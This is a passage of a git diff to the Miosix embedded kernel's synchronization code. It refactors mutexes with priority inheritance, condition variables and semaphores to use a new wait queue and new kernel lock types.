unsigned int depth) { - Thread *p=Thread::PKgetCurrentThread(); + Thread *cur=Thread::PKgetCurrentThread(); if(owner==nullptr) { - owner=p; + owner=cur; if(recursiveDepth>=0) recursiveDepth=depth; - //Save original thread priority, if the thread has not yet locked - //another mutex - if(owner->mutexLocked==nullptr) owner->savedPriority=owner->PKgetPriority(); - //Add this mutex to the list of mutexes locked by owner - this->next=owner->mutexLocked; - owner->mutexLocked=this; return; } //This check is very important. Without this attempting to lock the same //mutex twice won't cause a deadlock because the wait is enclosed in a - //while(owner!=p) which is immeditely false. - if(owner==p) + //while(owner!=cur) which is immeditely false. + if(owner==cur) { if(recursiveDepth>=0) { recursiveDepth=depth; return; - } else errorHandler(MUTEX_DEADLOCK); //Bad, deadlock + } else errorHandler(Error::MUTEX_ERROR); //Bad, deadlock } - //Add thread to mutex' waiting queue - waiting.push_back(p); - push_heap(waiting.begin(),waiting.end(),PKlowerPriority); + waitQueue.PKenqueue(cur); + //The while is necessary to protect against spurious wakeups + while(owner!=cur) Thread::PKrestartKernelAndWait(dLock); + if(recursiveDepth>=0) recursiveDepth=depth; +} - //Handle priority inheritance - if(p->mutexWaiting!=nullptr) errorHandler(UNEXPECTED); - p->mutexWaiting=this; - if(owner->PKgetPriority().mutexLessOp(p->PKgetPriority())) +inline unsigned int FastMutex::PKunlockAllDepthLevels() +{ + if(extraChecks!=ExtraChecks::None) + if(owner!=Thread::PKgetCurrentThread()) errorHandler(Error::MUTEX_ERROR); + + owner=waitQueue.PKwakeOne(); + if(recursiveDepth<0) return 0; + unsigned int result=recursiveDepth; + recursiveDepth=0; + return result; +} + +// +// class Mutex +// + +int Mutex::lock() +{ + FastPauseKernelLock dLock; + Thread *cur=Thread::PKgetCurrentThread(); + if(owner==nullptr) { - Thread *walk=owner; - for(;;) + owner=cur; + this->addToLockedList(owner); + return 0; + } + + //This check is very important. Without this attempting to lock the same + //mutex twice won't cause a deadlock because the wait is enclosed in a + //while(owner!=cur) which is immeditely false. + if(owner==cur) + { + if(recursiveDepth>=0) { - Scheduler::PKsetPriority(walk,p->PKgetPriority()); - if(walk->mutexWaiting==nullptr) break; - make_heap(walk->mutexWaiting->waiting.begin(), - walk->mutexWaiting->waiting.end(),PKlowerPriority); - walk=walk->mutexWaiting->owner; - } + recursiveDepth++; + return 0; + } else errorHandler(Error::MUTEX_ERROR); //Bad, deadlock } + //Handle priority inheritance + if(cur->mutexWaiting!=nullptr) errorHandler(Error::UNEXPECTED); + cur->mutexWaiting=this; + inheritPriorityTowardsMutexOwner(cur->PKgetPriority()); + + waitQueue.PKenqueue(cur); //The while is necessary to protect against spurious wakeups - while(owner!=p) Thread::PKrestartKernelAndWait(dLock); - if(recursiveDepth>=0) recursiveDepth=depth; + while(owner!=cur) Thread::PKrestartKernelAndWait(dLock); + return 0; } -bool Mutex::PKtryLock(PauseKernelLock& dLock) +bool Mutex::tryLock() { - Thread *p=Thread::PKgetCurrentThread(); + FastPauseKernelLock dLock; + Thread *cur=Thread::PKgetCurrentThread(); if(owner==nullptr) { - owner=p; - //Save original thread priority, if the thread has not yet locked - //another mutex - if(owner->mutexLocked==nullptr) owner->savedPriority=owner->PKgetPriority(); - //Add this mutex to the list of mutexes locked by owner - this->next=owner->mutexLocked; - owner->mutexLocked=this; + owner=cur; + this->addToLockedList(owner); return true; } - if(owner==p && recursiveDepth>=0) + if(owner==cur && recursiveDepth>=0) { recursiveDepth++; return true; @@ -197,315 +190,323 @@ bool Mutex::PKtryLock(PauseKernelLock& dLock) return false; } -bool Mutex::PKunlock(PauseKernelLock& dLock) +int Mutex::unlock() { - Thread *p=Thread::PKgetCurrentThread(); - if(owner!=p) return false; + FastPauseKernelLock dLock; + if(extraChecks!=ExtraChecks::None) + if(owner!=Thread::PKgetCurrentThread()) errorHandler(Error::MUTEX_ERROR); if(recursiveDepth>0) { recursiveDepth--; - return false; + return 0; } - //Remove this mutex from the list of mutexes locked by the owner - if(owner->mutexLocked==this) + deInheritPriority(); + chooseNextOwner(); + return 0; +} + +void Mutex::PKlockToDepth(FastPauseKernelLock& dLock, unsigned int depth) +{ + Thread *cur=Thread::PKgetCurrentThread(); + if(owner==nullptr) { - owner->mutexLocked=owner->mutexLocked->next; - } else { - Mutex *walk=owner->mutexLocked; - for(;;) + owner=cur; + if(recursiveDepth>=0) recursiveDepth=depth; + this->addToLockedList(owner); + return; + } + + //This check is very important. Without this attempting to lock the same + //mutex twice won't cause a deadlock because the wait is enclosed in a + //while(owner!=cur) which is immeditely false. + if(owner==cur) + { + if(recursiveDepth>=0) { - //this Mutex not in owner's list? impossible - if(walk->next==nullptr) errorHandler(UNEXPECTED); - if(walk->next==this) - { - walk->next=walk->next->next; - break; - } - walk=walk->next; - } + recursiveDepth=depth; + return; + } else errorHandler(Error::MUTEX_ERROR); //Bad, deadlock } //Handle priority inheritance - if(owner->mutexLocked==nullptr) + if(cur->mutexWaiting!=nullptr) errorHandler(Error::UNEXPECTED); + cur->mutexWaiting=this; + inheritPriorityTowardsMutexOwner(cur->PKgetPriority()); + + waitQueue.PKenqueue(cur); + //The while is necessary to protect against spurious wakeups + while(owner!=cur) Thread::PKrestartKernelAndWait(dLock); + if(recursiveDepth>=0) recursiveDepth=depth; +} + +unsigned int Mutex::PKunlockAllDepthLevels() +{ + if(extraChecks!=ExtraChecks::None) + if(owner!=Thread::PKgetCurrentThread()) errorHandler(Error::MUTEX_ERROR); + + //NOTE: unlike Mutex::unlock() this function is only used to wait in + //condition variables, after this call the current thread is descheduled + //so it's irrelevant whether we woke a higher priority thread + deInheritPriority(); + chooseNextOwner(); + + if(recursiveDepth<0) return 0; + unsigned int result=recursiveDepth; + recursiveDepth=0; + return result; +} + +inline void Mutex::deInheritPriority() +{ + this->removeFromLockedList(owner); + Priority pr=owner->savedPriority; + if(lockedListEmpty(owner)==false) pr=inheritPriorityFromLockedList(owner,pr); + if(pr!=owner->PKgetPriority()) { - //Not locking any other mutex - if(owner->savedPriority!=owner->PKgetPriority()) - Scheduler::PKsetPriority(owner,owner->savedPriority); - } else { - Priority pr=owner->savedPriority; - //Calculate new priority of thread, which is - //max(savedPriority, inheritedPriority) - Mutex *walk=owner->mutexLocked; - while(walk!=nullptr) - { - if(walk->waiting.empty()==false) - if(pr.mutexLessOp(walk->waiting.front()->PKgetPriority())) - pr=walk->waiting.front()->PKgetPriority(); - walk=walk->next; - } - if(pr!=owner->PKgetPriority()) Scheduler::PKsetPriority(owner,pr); + FastGlobalIrqLock irqLock; + Scheduler::IRQsetPriority(owner,pr); } +} - //Choose next thread to lock the mutex - if(waiting.empty()==false) +inline void Mutex::chooseNextOwner() +{ + owner=waitQueue.PKwakeOne(); + if(owner!=nullptr) { - //There is at least another thread waiting - owner=waiting.front(); - pop_heap(waiting.begin(),waiting.end(),PKlowerPriority); - waiting.pop_back(); - if(owner->mutexWaiting!=this) errorHandler(UNEXPECTED); + if(owner->mutexWaiting!=this) errorHandler(Error::UNEXPECTED); owner->mutexWaiting=nullptr; - owner->PKwakeup(); - if(owner->mutexLocked==nullptr) owner->savedPriority=owner->PKgetPriority(); - //Add this mutex to the list of mutexes locked by owner - this->next=owner->mutexLocked; - owner->mutexLocked=this; - //Handle priority inheritance of new owner - if(waiting.empty()==false && - owner->PKgetPriority().mutexLessOp(waiting.front()->PKgetPriority())) - Scheduler::PKsetPriority(owner,waiting.front()->PKgetPriority()); - return p->PKgetPriority().mutexLessOp(owner->PKgetPriority()); - } else { - owner=nullptr; //No threads waiting - std::vector().swap(waiting); //Save some RAM - return false; + this->addToLockedList(owner); + //NOTE: since we always pick the highest priority waiting thread + //(and this priority includes priority inheritance while waiting, see + //Mutex::inheritPriorityTowardsMutexOwner) to become the new mutex owner + //there's no need to make the new owner inherit priority from the other + //waiting threads on the same mutex. If there were a higher priority + //thread there, it would have been chosen as the owner } } -unsigned int Mutex::PKunlockAllDepthLevels(PauseKernelLock& dLock) +void Mutex::inheritPriorityTowardsMutexOwner(Priority prio) +{ + //NOTE: even though here we may change the priority of one or more + //threads there's no need to check if a high priority thread needs + //to be scheduled on some core and call the scheduler, as at the end + //of this algorithm we call Thread::PKrestartKernelAndWait() that will + //take care of calling the scheduler + Thread *walk=owner; + while(walk->PKgetPriority().mutexLessOp(prio)) + { + //We're upgrading the priority of the thread that is currently the owner + //of the mutex we want to lock, but we need to check whether the owner + //is stuck waiting on another mutex. If it is, we need to first remove + //it from the waitQueue, update the priority and then insert it back to + //keep that wautQueue sorted by priority (note that removing it before + //updating the priority is necessary to prevent undefined behavior with + //some WaitQueue implementation), and then continue down the chain to + //find who's the owner of that mutex + if(walk->mutexWaiting) walk->mutexWaiting->waitQueue.PKremove(walk); + { + FastGlobalIrqLock irqLock; + Scheduler::IRQsetPriority(walk,prio); + } + if(walk->mutexWaiting==nullptr) break; + walk->mutexWaiting->waitQueue.PKenqueue(walk); + walk=walk->mutexWaiting->owner; + } +} + +/* + * A note about the following functions: the list of mutexes with priority + * inheritance a thread is locking is implemented intrusively partly in + * class Thread (the list head is Thread::mutexLocked), and partly in + * class Mutex (Mutex::next). Using an intrusive singly linked list provides + * optimal performance and mininal RAM requirements as mutexes should be + * unlocked in reverse order and LIFO insert/removal from a singly linked list + * is O(1). + * However, while from a software engineering standpoint list handling functions + * would belong to class Thread (the thread has a list of locked mutexes, not + * the other way), they are implemented in class Mutex as they are mostly used + * here and moving them to class Thread would prevent inlining them as they + * can't be in the header file without creating an #include loop. + */ + +inline bool Mutex::lockedListEmpty(Thread *t) { return t->mutexLocked==nullptr; } + +inline void Mutex::addToLockedList(Thread *t) { - Thread *p=Thread::PKgetCurrentThread(); - if(owner!=p) return 0; + next=t->mutexLocked; + t->mutexLocked=this; +} - //Remove this mutex from the list of mutexes locked by the owner - if(owner->mutexLocked==this) +inline void Mutex::removeFromLockedList(Thread *t) +{ + //If mutexes are unlocked in reverse order (as they should) we always take + //the fast path + if(t->mutexLocked==this) { - owner->mutexLocked=owner->mutexLocked->next; + t->mutexLocked=t->mutexLocked->next; } else { - Mutex *walk=owner->mutexLocked; - for(;;) + for(Mutex *walk=t->mutexLocked;;walk=walk->next) { //this Mutex not in owner's list? impossible - if(walk->next==nullptr) errorHandler(UNEXPECTED); + if(walk->next==nullptr) errorHandler(Error::UNEXPECTED); if(walk->next==this) { walk->next=walk->next->next; break; } - walk=walk->next; } } +} - //Handle priority inheritance - if(owner->mutexLocked==nullptr) +Priority Mutex::inheritPriorityFromLockedList(Thread *t, Priority pr) +{ + Mutex *walk=t->mutexLocked; + while(walk!=nullptr) { - //Not locking any other mutex - if(owner->savedPriority!=owner->PKgetPriority()) - Scheduler::PKsetPriority(owner,owner->savedPriority); - } else { - Priority pr=owner->savedPriority; - //Calculate new priority of thread, which is - //max(savedPriority, inheritedPriority) - Mutex *walk=owner->mutexLocked; - while(walk!=nullptr) + if(walk->waitQueue.PKempty()==false) { - if(walk->waiting.empty()==false) - if(pr.mutexLessOp(walk->waiting.front()->PKgetPriority())) - pr=walk->waiting.front()->PKgetPriority(); - walk=walk->next; + Priority inheritedPr=walk->waitQueue.PKfront()->PKgetPriority(); + if(pr.mutexLessOp(inheritedPr)) pr=inheritedPr; } - if(pr!=owner->PKgetPriority()) Scheduler::PKsetPriority(owner,pr); + walk=walk->next; } - - //Choose next thread to lock the mutex - if(waiting.empty()==false) - { - //There is at least another thread waiting - owner=waiting.front(); - pop_heap(waiting.begin(),waiting.end(),PKlowerPriority); - waiting.pop_back(); - if(owner->mutexWaiting!=this) errorHandler(UNEXPECTED); - owner->mutexWaiting=nullptr; - owner->PKwakeup(); - if(owner->mutexLocked==nullptr) owner->savedPriority=owner->PKgetPriority(); - //Add this mutex to the list of mutexes locked by owner - this->next=owner->mutexLocked; - owner->mutexLocked=this; - //Handle priority inheritance of new owner - if(waiting.empty()==false && - owner->PKgetPriority().mutexLessOp(waiting.front()->PKgetPriority())) - Scheduler::PKsetPriority(owner,waiting.front()->PKgetPriority()); - } else { - owner=nullptr; //No threads waiting - std::vector().swap(waiting); //Save some RAM - } - - if(recursiveDepth<0) return 0; - unsigned int result=recursiveDepth; - recursiveDepth=0; - return result; + return pr; } // // class ConditionVariable // -//Memory layout must be kept in sync with pthread_cond, see pthread.cpp -static_assert(sizeof(ConditionVariable)==sizeof(pthread_cond_t),""); - void ConditionVariable::wait(Mutex& m) { - WaitToken listItem(Thread::getCurrentThread()); - PauseKernelLock dLock; - unsigned int depth=m.PKunlockAllDepthLevels(dLock); - condList.push_back(&listItem); //Putting this thread last on the list (lifo policy) + FastPauseKernelLock dLock; + unsigned int depth=m.PKunlockAllDepthLevels(); + Thread *cur=Thread::PKgetCurrentThread(); + waitQueue.PKenqueue(cur); Thread::PKrestartKernelAndWait(dLock); - condList.removeFast(&listItem); //In case of timeout or spurious wakeup + waitQueue.PKremove(cur); //In case of spurious wakeup m.PKlockToDepth(dLock,depth); } -void ConditionVariable::wait(pthread_mutex_t *m) +void ConditionVariable::wait(FastMutex& m) { - WaitToken listItem(Thread::getCurrentThread()); - FastInterruptDisableLock dLock; - unsigned int depth=IRQdoMutexUnlockAllDepthLevels(m); - condList.push_back(&listItem); //Putting this thread last on the list (lifo policy) - Thread::IRQenableIrqAndWait(dLock); - condList.removeFast(&listItem); //In case of spurious wakeup - IRQdoMutexLockToDepth(m,dLock,depth); + FastPauseKernelLock dLock; + unsigned int depth=m.PKunlockAllDepthLevels(); + Thread *cur=Thread::PKgetCurrentThread(); + waitQueue.PKenqueue(cur); + Thread::PKrestartKernelAndWait(dLock); + waitQueue.PKremove(cur); //In case of spurious wakeup + m.PKlockToDepth(dLock,depth); } TimedWaitResult ConditionVariable::timedWait(Mutex& m, long long absTime) { - WaitToken listItem(Thread::getCurrentThread()); - PauseKernelLock dLock; - unsigned int depth=m.PKunlockAllDepthLevels(dLock); - condList.push_back(&listItem); //Putting this thread last on the list (lifo policy) + FastPauseKernelLock dLock; + unsigned int depth=m.PKunlockAllDepthLevels(); + Thread *cur=Thread::PKgetCurrentThread(); + waitQueue.PKenqueue(cur); auto result=Thread::PKrestartKernelAndTimedWait(dLock,absTime); - condList.removeFast(&listItem); //In case of timeout or spurious wakeup + waitQueue.PKremove(cur); //In case of timeout or spurious wakeup m.PKlockToDepth(dLock,depth); return result; } -TimedWaitResult ConditionVariable::timedWait(pthread_mutex_t *m, long long absTime) +TimedWaitResult ConditionVariable::timedWait(FastMutex& m, long long absTime) { - WaitToken listItem(Thread::getCurrentThread()); - FastInterruptDisableLock dLock; - unsigned int depth=IRQdoMutexUnlockAllDepthLevels(m); - condList.push_back(&listItem); //Putting this thread last on the list (lifo policy) - auto result=Thread::IRQenableIrqAndTimedWait(dLock,absTime); - condList.removeFast(&listItem); //In case of timeout or spurious wakeup - IRQdoMutexLockToDepth(m,dLock,depth); + FastPauseKernelLock dLock; + unsigned int depth=m.PKunlockAllDepthLevels(); + Thread *cur=Thread::PKgetCurrentThread(); + waitQueue.PKenqueue(cur); + auto result=Thread::PKrestartKernelAndTimedWait(dLock,absTime); + waitQueue.PKremove(cur); //In case of timeout or spurious wakeup + m.PKlockToDepth(dLock,depth); return result; } -bool ConditionVariable::doSignal() +void ConditionVariable::signal() { - bool hppw=false; - // We could just pause the kernel but it's faster to disable interrupts - FastInterruptDisableLock dLock; - if(condList.empty()) return false; - Thread *t=condList.front()->thread; - condList.pop_front(); - t->IRQwakeup(); - if(t->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - hppw=true; - return hppw; + /* + * A note on whether we should yield if waking a higher priority thread. + * Doing a signal()/broadcast() is permitted either with the mutex locked + * or not. If we're calling signal with the mutex locked, yielding if we + * woke up a higher priority thread causes a "bounce back" since the woken + * thread will block trying to lock the mutex we're holding. + * The issue is, within signal()/broadcast(), we don't know if we're being + * called with the mutex locked or not. In Miosix 3 we always yield if a + * higher priority thread is awakened. This new behavior is better for + * real-time but does incur the bounce back penalty. Tradeoffs. + */ + FastPauseKernelLock dLock; + waitQueue.PKwakeOne(); } -bool ConditionVariable::doBroadcast() +void ConditionVariable::broadcast() { - bool hppw=false; - // Disabling interrupts would be faster but pausing kernel is an opportunity - // to reduce interrupt latency - PauseKernelLock dLock; - while(!condList.empty()) - { - Thread *t=condList.front()->thread; - condList.pop_front(); - t->PKwakeup(); - if(t->PKgetPriority()>Thread::PKgetCurrentThread()->PKgetPriority()) - hppw=true; - } - return hppw; + FastPauseKernelLock dLock; + waitQueue.PKwakeAll(); +} + +bool ConditionVariable::empty() const +{ + FastPauseKernelLock dLock; + return waitQueue.PKempty(); } // // class Semaphore // -Thread *Semaphore::IRQsignalNoPreempt() +void Semaphore::IRQsignal() { //Check if somebody is waiting if(fifo.empty()) { //Nobody there, just increment the counter - count++; - return nullptr; + count+=1; + return; } WaitToken *cd=fifo.front(); Thread *t=cd->thread; cd->thread=nullptr; //Thread pointer doubles as flag against spurious wakeup fifo.pop_front(); t->IRQwakeup(); - return t; -} - -void Semaphore::IRQsignal(bool& hppw) -{ - //Update the state of the FIFO and the counter - Thread *t=IRQsignalNoPreempt(); - if(t==nullptr) return; - //If the woken thread has higher priority trigger a reschedule - if(Thread::IRQgetCurrentThread()->IRQgetPriority()IRQgetPriority()) - hppw=true; } void Semaphore::signal() { - bool hppw=false; - { - //Global interrupt lock because Semaphore is IRQ-safe - FastInterruptDisableLock dLock; - //Update the state of the FIFO and the counter - Thread *t=IRQsignalNoPreempt(); - if(t) - { - //If the woken thread has higher priority trigger a yield - if(Thread::IRQgetCurrentThread()->IRQgetPriority()IRQgetPriority()) - hppw=true; - } - } - if(hppw) Thread::yield(); + //Global interrupt lock because Semaphore is IRQ-safe + FastGlobalIrqLock dLock; + //Update the state of the FIFO and the counter + IRQsignal(); } void Semaphore::wait() { //Global interrupt lock because Semaphore is IRQ-safe - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; //If the counter is positive, decrement it and we're done if(count>0) { - count--; + count-=1; return; } //Otherwise put ourselves in queue and wait WaitToken listItem(Thread::IRQgetCurrentThread()); fifo.push_back(&listItem); //Add entry to tail of list - while(listItem.thread) Thread::IRQenableIrqAndWait(dLock); + while(listItem.thread) Thread::IRQglobalIrqUnlockAndWait(dLock); //Spurious wakeup handled by while loop, listItem already removed from fifo } TimedWaitResult Semaphore::timedWait(long long absTime) { //Global interrupt lock because Semaphore is IRQ-safe - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; //If the counter is positive, decrement it and we're done if(count>0) { - count--; + count-=1; return TimedWaitResult::NoTimeout; } //Otherwise put ourselves in queue and wait @@ -513,7 +514,7 @@ TimedWaitResult Semaphore::timedWait(long long absTime) fifo.push_back(&listItem); //Add entry to tail of list while(listItem.thread) { - if(Thread::IRQenableIrqAndTimedWait(dLock,absTime)==TimedWaitResult::Timeout) + if(Thread::IRQglobalIrqUnlockAndTimedWait(dLock,absTime)==TimedWaitResult::Timeout) { fifo.removeFast(&listItem); //Remove fifo entry in case of timeout return TimedWaitResult::Timeout; diff --git a/miosix/kernel/sync.h b/miosix/kernel/sync.h index 65ae47987..186be819c 100644 --- a/miosix/kernel/sync.h +++ b/miosix/kernel/sync.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2008-2023 by Terraneo Federico * + * Copyright (C) 2008-2025 by Terraneo Federico * * Copyright (C) 2023 by Daniele Cattaneo * * * * This program is free software; you can redistribute it and/or modify * @@ -28,10 +28,10 @@ #pragma once -#include "kernel.h" -#include "kernel/scheduler/scheduler.h" +#include "lock.h" #include "intrusive.h" -#include +#include "kernel/scheduler/sched_types.h" +#include "kernel/sched_data_structures.h" namespace miosix { @@ -40,35 +40,40 @@ namespace miosix { * \{ */ +//Forwrd declaration +class Thread; +class ConditionVariable; +class FastPauseKernelLock; +enum class TimedWaitResult; + +/** + * Mutex options, passed to the constructor to set additional options. + */ +enum MutexOptions +{ + DEFAULT, ///< Default non-recursive mutex + RECURSIVE ///< Mutex is recursive +}; + /** * Fast mutex without support for priority inheritance */ class FastMutex { public: - /** - * Mutex options, passed to the constructor to set additional options.
- * The DEFAULT option indicates the default Mutex type. - */ - enum Options - { - DEFAULT, ///< Default mutex - RECURSIVE ///< Mutex is recursive - }; - /** * Constructor, initializes the mutex. */ - FastMutex(Options opt=DEFAULT); + FastMutex(MutexOptions opt=MutexOptions::DEFAULT) : owner(nullptr), + recursiveDepth(opt==MutexOptions::RECURSIVE ? 0 : -1) {} /** * Locks the critical section. If the critical section is already locked, * the thread will be queued in a wait list. + * \return always returns 0, to allow tail call optimization when used to + * implement pthread_mutex_t */ - void lock() - { - pthread_mutex_lock(&impl); - } + int lock(); /** * Acquires the lock only if the critical section is not already locked by @@ -76,45 +81,65 @@ class FastMutex * the mutex' lock count will not be incremented. * \return true if the lock was acquired */ - bool tryLock() - { - return pthread_mutex_trylock(&impl)==0; - } + bool tryLock(); /** * Unlocks the critical section. + * \return always returns 0, to allow tail call optimization when used to + * implement pthread_mutex_t */ - void unlock() - { - pthread_mutex_unlock(&impl); - } + int unlock(); /** * \internal - * \return the FastMutex implementation defined mutex type + * \return true if mutex is locked */ - pthread_mutex_t *get() - { - return &impl; - } - - /** - * Destructor - */ - ~FastMutex() - { - pthread_mutex_destroy(&impl); - } + bool isLocked() const { return owner!=nullptr; } + //Unwanted methods FastMutex(const FastMutex&) = delete; FastMutex& operator= (const FastMutex&) = delete; private: - pthread_mutex_t impl; -}; + /** + * Implementation code to lock a mutex to a specified depth level. + * Must be called with the kernel paused. If the mutex is not recursive the + * mutex is locked only one level deep regardless of the depth value. + * \param dLock The instance of FastPauseKernelLock + * \param depth recursive depth at which the mutex will be locked. Zero + * means the mutex is locked one level deep (as if lock() was called once), + * one means two levels deep, etc. + */ + inline void PKlockToDepth(FastPauseKernelLock& dLock, unsigned int depth); -//Forward declaration -class ConditionVariable; + /** + * Implementation code to unlock all depth levels of a mutex. + * Must be called with the kernel paused + * \param mutex mutex to unlock + * \return the mutex recursive depth (how many times it was locked by the + * owner). Zero means the mutex is locked one level deep (lock() was called + * once), one means two levels deep, etc. + */ + inline unsigned int PKunlockAllDepthLevels(); + + /// Thread currently inside critical section, if nullptr the critical section + /// is free + Thread *owner; + + /// Used to hold nesting depth for recursive mutexes, -1 if not recursive + int recursiveDepth; + + /// Holds waiting threads, handles prioritization + /// A note for the curious: switching policy to ConsiderInheritedPriority + /// won't work and will likely crash. To be part of the priority inheritance + /// algorithm a synchronization primitive needs to be involved in the locked + /// list and class FastMutex doesn't. If you want a mutex with priority + /// inheritance just use class Mutex + WaitQueue waitQueue; + + //Friends + friend class ConditionVariable; +}; /** * A mutex class with support for priority inheritance. If a thread tries to @@ -130,77 +155,46 @@ class ConditionVariable; class Mutex { public: - /** - * Mutex options, passed to the constructor to set additional options.
- * The DEFAULT option indicates the default Mutex type. - */ - enum Options - { - DEFAULT, ///< Default mutex - RECURSIVE ///< Mutex is recursive - }; - /** * Constructor, initializes the mutex. */ - Mutex(Options opt=DEFAULT); + Mutex(MutexOptions opt=MutexOptions::DEFAULT) : owner(nullptr), + recursiveDepth(opt==MutexOptions::RECURSIVE ? 0 : -1), next(nullptr) {} /** * Locks the critical section. If the critical section is already locked, * the thread will be queued in a wait list. + * \return always returns 0, to allow tail call optimization when used to + * implement pthread_mutex_t */ - void lock() - { - PauseKernelLock dLock; - PKlock(dLock); - } - + int lock(); + /** * Acquires the lock only if the critical section is not already locked by * other threads. Attempting to lock again a recursive mutex will fail, and * the mutex' lock count will not be incremented. * \return true if the lock was acquired */ - bool tryLock() - { - PauseKernelLock dLock; - return PKtryLock(dLock); - } - + bool tryLock(); + /** * Unlocks the critical section. + * \return always returns 0, to allow tail call optimization when used to + * implement pthread_mutex_t */ - void unlock() - { - #ifdef SCHED_TYPE_EDF - bool hppw; - { - PauseKernelLock dLock; - hppw=PKunlock(dLock); - } - if(hppw) Thread::yield();//The other thread might have a closer deadline - #else - { - PauseKernelLock dLock; - PKunlock(dLock); - } - #endif //SCHED_TYPE_EDF - } + int unlock(); + + /** + * \internal + * \return true if mutex is locked + */ + bool isLocked() const { return owner!=nullptr; } //Unwanted methods Mutex(const Mutex& s) = delete; Mutex& operator= (const Mutex& s) = delete; private: - /** - * Lock mutex, can be called only with kernel paused one level deep - * (pauseKernel calls can be nested). If another thread holds the mutex, - * this call will restart the kernel and wait (that's why the kernel must - * be paused one level deep).
- * \param dLock the PauseKernelLock instance that paused the kernel. - */ - void PKlock(PauseKernelLock& dLock); - /** * Lock mutex to a given depth, can be called only with kernel paused one * level deep (pauseKernel calls can be nested). If another thread holds the @@ -208,61 +202,101 @@ class Mutex * must be paused one level deep).
* If the mutex is not recursive the mutex is locked only one level deep * regardless of the depth value. - * \param dLock the PauseKernelLock instance that paused the kernel. + * \param dLock the FastPauseKernelLock instance that paused the kernel. * \param depth recursive depth at which the mutex will be locked. Zero * means the mutex is locked one level deep (as if lock() was called once), * one means two levels deep, etc. */ - void PKlockToDepth(PauseKernelLock& dLock, unsigned int depth); - - /** - * Acquires the lock only if the critical section is not already locked by - * other threads. Attempting to lock again a recursive mutex will fail, and - * the mutex' lock count will not be incremented.
- * Can be called only with kernel paused one level deep. - * (pauseKernel calls can be nested). - * \param dLock the PauseKernelLock instance that paused the kernel. - * \return true if the lock was acquired - */ - bool PKtryLock(PauseKernelLock& dLock); - - /** - * Unlock mutex, can be called only with kernel paused one level deep - * (pauseKernel calls can be nested).
- * \param dLock the PauseKernelLock instance that paused the kernel. - * \return true if a higher priority thread was woken - */ - bool PKunlock(PauseKernelLock& dLock); + void PKlockToDepth(FastPauseKernelLock& dLock, unsigned int depth); /** * Unlock all levels of a recursive mutex, can be called only with * kernel paused one level deep (pauseKernel calls can be nested).
- * \param dLock the PauseKernelLock instance that paused the kernel. * \return the mutex recursive depth (how many times it was locked by the * owner). Zero means the mutex is locked one level deep (lock() was called * once), one means two levels deep, etc. */ - unsigned int PKunlockAllDepthLevels(PauseKernelLock& dLock); + unsigned int PKunlockAllDepthLevels(); + + /** + * First part of unlocking a mutex. Remove the mutex from the owner's list + * of locked mutexes and reduce priority if the current priority was due to + * having locked this mutex + */ + inline void deInheritPriority(); - /// Thread currently inside critical section, if NULL the critical section + /** + * Second part of unlocking a mutex. Switch the current mutex owner with + * the highest priority waiting thread, or leave the mutex without owner + * if there are no more waiting threads + */ + inline void chooseNextOwner(); + + /** + * Inherit the given priority towards the thread that is the owner of the + * locked mutex we're about to lock. Additionally, recursively check if the + * mutex owner is locked on another mutex and propagate the inheritance + * as needed + * \param prio priority to propagate + */ + void inheritPriorityTowardsMutexOwner(Priority prio); + + /** + * \param t a thread + * \return true if the thread's list of locked mutexes with priority + * inheritance is empty + */ + static inline bool lockedListEmpty(Thread *t); + + /** + * Add this mutex to the list of locked mutex with priority inheritance + * \param t thread to which the current mutex will be added + */ + inline void addToLockedList(Thread *t); + + /** + * Remove this mutex from the list of locked mutex with priority inheritance + * \param t thread from which the current mutex will be removed + */ + inline void removeFromLockedList(Thread *t); + + /** + * Check the list of all mutexes with priority inheritance a thread is + * locking and update the given priority to be the maximum between the + * initial value and the one of the highest priority thread waiting on + * said mutexes + * \param t thread whose list of locked mutex with priority inheritance + * needs to be checked + * \param pr initial priority to boost with priority inheritance + * \return the boosted priority + */ + static Priority inheritPriorityFromLockedList(Thread *t, Priority pr); + + /// Thread currently inside critical section, if nullptr the critical section /// is free Thread *owner; + /// Used to hold nesting depth for recursive mutexes, -1 if not recursive + int recursiveDepth; + + /// Holds waiting threads, handles prioritization + WaitQueue waitQueue; + /// If this mutex is locked, it is added to a list of mutexes held by the /// thread that owns this mutex. This field is necessary to make the list. Mutex *next; - /// Waiting thread are stored in this min-heap, sorted by priority - std::vector waiting; - - /// Used to hold nesting depth for recursive mutexes, -1 if not recursive - int recursiveDepth; - //Friends friend class ConditionVariable; friend class Thread; }; +#ifdef KERNEL_MUTEX_WITH_PRIORITY_INHERITANCE +using KernelMutex = Mutex; +#else //KERNEL_MUTEX_WITH_PRIORITY_INHERITANCE +using KernelMutex = FastMutex; +#endif //KERNEL_MUTEX_WITH_PRIORITY_INHERITANCE + /** * Very simple RAII style class to lock a mutex in an exception-safe way. * Mutex is acquired by the constructor and released by the destructor. @@ -306,7 +340,11 @@ class Lock /** * This class allows to temporarily re-unlock a mutex in a scope where - * it is locked
+ * it is locked + * + * \warning This class can only unlock a recursive mutex that has been locked + * ONE level deep, so be careful when using it. + * * Example: * \code * Mutex m; @@ -372,7 +410,6 @@ class Unlock Unlock& operator= (const Unlock& l) = delete; private: - T& mutex;///< Reference to locked mutex }; @@ -434,18 +471,7 @@ class ConditionVariable * otherwise the behaviour is undefined. * \param m a locked FastMutex */ - void wait(FastMutex& m) - { - wait(m.get()); - } - - /** - * Unlock the pthread_mutex_t and wait. - * If more threads call wait() they must do so specifying the same mutex, - * otherwise the behaviour is undefined. - * \param m a locked pthread_mutex_t - */ - void wait(pthread_mutex_t *m); + void wait(FastMutex& m); /** * Unlock the Mutex and wait until woken up or timeout occurs. @@ -453,7 +479,7 @@ class ConditionVariable * otherwise the behaviour is undefined. * \param m a locked Mutex * \param absTime absolute timeout time in nanoseconds - * \return whether the return was due to a timout or wakeup + * \return whether the return was due to a timeout or wakeup */ TimedWaitResult timedWait(Mutex& m, long long absTime); @@ -463,77 +489,52 @@ class ConditionVariable * otherwise the behaviour is undefined. * \param m a locked FastMutex * \param absTime absolute timeout time in nanoseconds - * \return whether the return was due to a timout or wakeup + * \return whether the return was due to a timeout or wakeup */ - TimedWaitResult timedWait(FastMutex& m, long long absTime) - { - return timedWait(m.get(), absTime); - } + TimedWaitResult timedWait(FastMutex& m, long long absTime); /** - * Unlock the pthread_mutex_t and wait until woken up or timeout occurs. - * If more threads call wait() they must do so 